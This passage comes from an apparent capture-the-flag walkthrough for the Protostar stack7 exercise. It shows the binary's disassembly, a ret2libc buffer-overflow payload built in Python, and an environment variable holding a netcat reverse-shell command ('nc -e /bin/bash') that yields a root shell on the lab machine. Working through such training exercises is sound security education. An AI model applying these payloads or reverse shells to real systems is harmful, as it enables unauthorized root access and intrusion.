8048361: 81 c3 dc 13 00 00 add ebx,0x13dc
8048367: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4]
804836d: 85 d2 test edx,edx
804836f: 74 05 je 8048376 <_init+0x22>
8048371: e8 1e 00 00 00 call 8048394 <__gmon_start__@plt>
8048376: e8 25 01 00 00 call 80484a0 <frame_dummy>
804837b: e8 50 02 00 00 call 80485d0 <__do_global_ctors_aux>
8048380: 58 pop eax
8048381: 5b pop ebx
8048382: c9 leave
8048383: c3 ret
Disassembly of section .plt:
08048384 <__gmon_start__@plt-0x10>:
8048384: ff 35 40 97 04 08 push DWORD PTR ds:0x8049740
804838a: ff 25 44 97 04 08 jmp DWORD PTR ds:0x8049744
8048390: 00 00 add BYTE PTR [eax],al
...
08048394 <__gmon_start__@plt>:
8048394: ff 25 48 97 04 08 jmp DWORD PTR ds:0x8049748
804839a: 68 00 00 00 00 push 0x0
804839f: e9 e0 ff ff ff jmp 8048384 <_init+0x30>
080483a4 <gets@plt>:
80483a4: ff 25 4c 97 04 08 jmp DWORD PTR ds:0x804974c
80483aa: 68 08 00 00 00 push 0x8
80483af: e9 d0 ff ff ff jmp 8048384 <_init+0x30>
080483b4 <__libc_start_main@plt>:
80483b4: ff 25 50 97 04 08 jmp DWORD PTR ds:0x8049750
80483ba: 68 10 00 00 00 push 0x10
80483bf: e9 c0 ff ff ff jmp 8048384 <_init+0x30>
080483c4 <_exit@plt>:
80483c4: ff 25 54 97 04 08 jmp DWORD PTR ds:0x8049754
80483ca: 68 18 00 00 00 push 0x18
80483cf: e9 b0 ff ff ff jmp 8048384 <_init+0x30>
080483d4 <fflush@plt>:
80483d4: ff 25 58 97 04 08 jmp DWORD PTR ds:0x8049758
80483da: 68 20 00 00 00 push 0x20
80483df: e9 a0 ff ff ff jmp 8048384 <_init+0x30>
080483e4 <printf@plt>:
80483e4: ff 25 5c 97 04 08 jmp DWORD PTR ds:0x804975c
80483ea: 68 28 00 00 00 push 0x28
80483ef: e9 90 ff ff ff jmp 8048384 <_init+0x30>
080483f4 <strdup@plt>:
80483f4: ff 25 60 97 04 08 jmp DWORD PTR ds:0x8049760
80483fa: 68 30 00 00 00 push 0x30
80483ff: e9 80 ff ff ff jmp 8048384 <_init+0x30>
Disassembly of section .text:
08048410 <_start>:
8048410: 31 ed xor ebp,ebp
8048412: 5e pop esi
8048413: 89 e1 mov ecx,esp
8048415: 83 e4 f0 and esp,0xfffffff0
8048418: 50 push eax
8048419: 54 push esp
804841a: 52 push edx
804841b: 68 60 85 04 08 push 0x8048560
8048420: 68 70 85 04 08 push 0x8048570
8048425: 51 push ecx
8048426: 56 push esi
8048427: 68 45 85 04 08 push 0x8048545
804842c: e8 83 ff ff ff call 80483b4 <__libc_start_main@plt>
8048431: f4 hlt
8048432: 90 nop
8048433: 90 nop
8048434: 90 nop
8048435: 90 nop
8048436: 90 nop
8048437: 90 nop
8048438: 90 nop
8048439: 90 nop
804843a: 90 nop
804843b: 90 nop
804843c: 90 nop
804843d: 90 nop
804843e: 90 nop
804843f: 90 nop
08048440 <__do_global_dtors_aux>:
8048440: 55 push ebp
8048441: 89 e5 mov ebp,esp
8048443: 53 push ebx
8048444: 83 ec 04 sub esp,0x4
8048447: 80 3d 84 97 04 08 00 cmp BYTE PTR ds:0x8049784,0x0
804844e: 75 3f jne 804848f <__do_global_dtors_aux+0x4f>
8048450: a1 88 97 04 08 mov eax,ds:0x8049788
8048455: bb 60 96 04 08 mov ebx,0x8049660
804845a: 81 eb 5c 96 04 08 sub ebx,0x804965c
8048460: c1 fb 02 sar ebx,0x2
8048463: 83 eb 01 sub ebx,0x1
8048466: 39 d8 cmp eax,ebx
8048468: 73 1e jae 8048488 <__do_global_dtors_aux+0x48>
804846a: 8d b6 00 00 00 00 lea esi,[esi+0x0]
8048470: 83 c0 01 add eax,0x1
8048473: a3 88 97 04 08 mov ds:0x8049788,eax
8048478: ff 14 85 5c 96 04 08 call DWORD PTR [eax*4+0x804965c]
804847f: a1 88 97 04 08 mov eax,ds:0x8049788
8048484: 39 d8 cmp eax,ebx
8048486: 72 e8 jb 8048470 <__do_global_dtors_aux+0x30>
8048488: c6 05 84 97 04 08 01 mov BYTE PTR ds:0x8049784,0x1
804848f: 83 c4 04 add esp,0x4
8048492: 5b pop ebx
8048493: 5d pop ebp
8048494: c3 ret
8048495: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048499: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
080484a0 <frame_dummy>:
80484a0: 55 push ebp
80484a1: 89 e5 mov ebp,esp
80484a3: 83 ec 18 sub esp,0x18
80484a6: a1 64 96 04 08 mov eax,ds:0x8049664
80484ab: 85 c0 test eax,eax
80484ad: 74 12 je 80484c1 <frame_dummy+0x21>
80484af: b8 00 00 00 00 mov eax,0x0
80484b4: 85 c0 test eax,eax
80484b6: 74 09 je 80484c1 <frame_dummy+0x21>
80484b8: c7 04 24 64 96 04 08 mov DWORD PTR [esp],0x8049664
80484bf: ff d0 call eax
80484c1: c9 leave
80484c2: c3 ret
80484c3: 90 nop
080484c4 <getpath>:
80484c4: 55 push ebp
80484c5: 89 e5 mov ebp,esp
80484c7: 83 ec 68 sub esp,0x68
80484ca: b8 20 86 04 08 mov eax,0x8048620
80484cf: 89 04 24 mov DWORD PTR [esp],eax
80484d2: e8 0d ff ff ff call 80483e4 <printf@plt>
80484d7: a1 80 97 04 08 mov eax,ds:0x8049780
80484dc: 89 04 24 mov DWORD PTR [esp],eax
80484df: e8 f0 fe ff ff call 80483d4 <fflush@plt>
80484e4: 8d 45 b4 lea eax,[ebp-0x4c]
80484e7: 89 04 24 mov DWORD PTR [esp],eax
80484ea: e8 b5 fe ff ff call 80483a4 <gets@plt>
80484ef: 8b 45 04 mov eax,DWORD PTR [ebp+0x4]
80484f2: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
80484f5: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
80484f8: 25 00 00 00 b0 and eax,0xb0000000
80484fd: 3d 00 00 00 b0 cmp eax,0xb0000000
8048502: 75 20 jne 8048524 <getpath+0x60>
8048504: b8 34 86 04 08 mov eax,0x8048634
8048509: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc]
804850c: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
8048510: 89 04 24 mov DWORD PTR [esp],eax
8048513: e8 cc fe ff ff call 80483e4 <printf@plt>
8048518: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
804851f: e8 a0 fe ff ff call 80483c4 <_exit@plt>
8048524: b8 40 86 04 08 mov eax,0x8048640
8048529: 8d 55 b4 lea edx,[ebp-0x4c]
804852c: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
8048530: 89 04 24 mov DWORD PTR [esp],eax
8048533: e8 ac fe ff ff call 80483e4 <printf@plt>
8048538: 8d 45 b4 lea eax,[ebp-0x4c]
804853b: 89 04 24 mov DWORD PTR [esp],eax
804853e: e8 b1 fe ff ff call 80483f4 <strdup@plt>
8048543: c9 leave
8048544: c3 ret
08048545 <main>:
8048545: 55 push ebp
8048546: 89 e5 mov ebp,esp
8048548: 83 e4 f0 and esp,0xfffffff0
804854b: e8 74 ff ff ff call 80484c4 <getpath>
8048550: 89 ec mov esp,ebp
8048552: 5d pop ebp
8048553: c3 ret
8048554: 90 nop
8048555: 90 nop
8048556: 90 nop
8048557: 90 nop
8048558: 90 nop
8048559: 90 nop
804855a: 90 nop
804855b: 90 nop
804855c: 90 nop
804855d: 90 nop
804855e: 90 nop
804855f: 90 nop
08048560 <__libc_csu_fini>:
8048560: 55 push ebp
8048561: 89 e5 mov ebp,esp
8048563: 5d pop ebp
8048564: c3 ret
8048565: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
8048569: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0]
08048570 <__libc_csu_init>:
8048570: 55 push ebp
8048571: 89 e5 mov ebp,esp
8048573: 57 push edi
8048574: 56 push esi
8048575: 53 push ebx
8048576: e8 4f 00 00 00 call 80485ca <__i686.get_pc_thunk.bx>
804857b: 81 c3 c1 11 00 00 add ebx,0x11c1
8048581: 83 ec 1c sub esp,0x1c
8048584: e8 cb fd ff ff call 8048354 <_init>
8048589: 8d bb 18 ff ff ff lea edi,[ebx-0xe8]
804858f: 8d 83 18 ff ff ff lea eax,[ebx-0xe8]
8048595: 29 c7 sub edi,eax
8048597: c1 ff 02 sar edi,0x2
804859a: 85 ff test edi,edi
804859c: 74 24 je 80485c2 <__libc_csu_init+0x52>
804859e: 31 f6 xor esi,esi
80485a0: 8b 45 10 mov eax,DWORD PTR [ebp+0x10]
80485a3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80485a7: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80485aa: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80485ae: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
80485b1: 89 04 24 mov DWORD PTR [esp],eax
80485b4: ff 94 b3 18 ff ff ff call DWORD PTR [ebx+esi*4-0xe8]
80485bb: 83 c6 01 add esi,0x1
80485be: 39 fe cmp esi,edi
80485c0: 72 de jb 80485a0 <__libc_csu_init+0x30>
80485c2: 83 c4 1c add esp,0x1c
80485c5: 5b pop ebx
80485c6: 5e pop esi
80485c7: 5f pop edi
80485c8: 5d pop ebp
80485c9: c3 ret
080485ca <__i686.get_pc_thunk.bx>:
80485ca: 8b 1c 24 mov ebx,DWORD PTR [esp]
80485cd: c3 ret
80485ce: 90 nop
80485cf: 90 nop
080485d0 <__do_global_ctors_aux>:
80485d0: 55 push ebp
80485d1: 89 e5 mov ebp,esp
80485d3: 53 push ebx
80485d4: 83 ec 04 sub esp,0x4
80485d7: a1 54 96 04 08 mov eax,ds:0x8049654
80485dc: 83 f8 ff cmp eax,0xffffffff
80485df: 74 13 je 80485f4 <__do_global_ctors_aux+0x24>
80485e1: bb 54 96 04 08 mov ebx,0x8049654
80485e6: 66 90 xchg ax,ax
80485e8: 83 eb 04 sub ebx,0x4
80485eb: ff d0 call eax
80485ed: 8b 03 mov eax,DWORD PTR [ebx]
80485ef: 83 f8 ff cmp eax,0xffffffff
80485f2: 75 f4 jne 80485e8 <__do_global_ctors_aux+0x18>
80485f4: 83 c4 04 add esp,0x4
80485f7: 5b pop ebx
80485f8: 5d pop ebp
80485f9: c3 ret
80485fa: 90 nop
80485fb: 90 nop
Disassembly of section .fini:
080485fc <_fini>:
80485fc: 55 push ebp
80485fd: 89 e5 mov ebp,esp
80485ff: 53 push ebx
8048600: 83 ec 04 sub esp,0x4
8048603: e8 00 00 00 00 call 8048608 <_fini+0xc>
8048608: 5b pop ebx
8048609: 81 c3 34 11 00 00 add ebx,0x1134
804860f: e8 2c fe ff ff call 8048440 <__do_global_dtors_aux>
8048614: 59 pop ecx
8048615: 5b pop ebx
8048616: c9 leave
8048617: c3 ret
|
OK, so the pop, ret
starts at 0x80485f8
and the ret
is at 0x80485f9
.
Now we just need to create the environment variable and find it in memory:
| user@protostar:/opt/protostar/bin$ export NCCMD="nc -e /bin/bash 127.0.0.1 9000"
|
To find out where it will be in memory I'm going to use the same C application that I've used before, which uses getenv
to work it out:
| user@protostar:/opt/protostar/bin$ gcc -o /tmp/env /tmp/env.c
user@protostar:/opt/protostar/bin$ /tmp/env
Usage: /tmp/env <environment variable> <target program name>
user@protostar:/opt/protostar/bin$ /tmp/env NCCMD ./stack7
NCCMD will be at 0xbfffff6e
|
We know that the distance from the start of the payload to overwriting the return address will be the same as before because the application is identical in that sense.
Now we have all of the information to exploit it:
| user@protostar:~$ nc -l -p 9000
|
| user@protostar:/opt/protostar/bin$ python -c 'print "A"*80 + "\xf9\x85\x04\x08" + "\x80\xec\xf2\xb7" + "\xf8\x85\x04\x08" + "\x00\x00\x00\x00" + "\xb0\xff\xec\xb7" + "JUNK" + "\x6e\xff\xff\xbf"' | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������
|
| pwd
/opt/protostar/bin
whoami
root
|
PWNED! :-)
Conclusion
There are normally a number of ways to exploit a single vulnerablity so while you are learning it is best to try to exploit it in as many ways as possible because some might work in some situations while others might not.
Ret2Libc is very powerful and beats NX completely but ROP is even more powerful and providing there are enough different ROP gadgets, you can create the whole shellcode using nothing but ROP gadgets but this requires the application to be quite big.
Further Reading
For more indepth information about Ret2Libc see this article on phrack.
Read Hacking: The Art Of Exploitation by Jon Erickson for more information about all of the attacks I've discussed so far and more.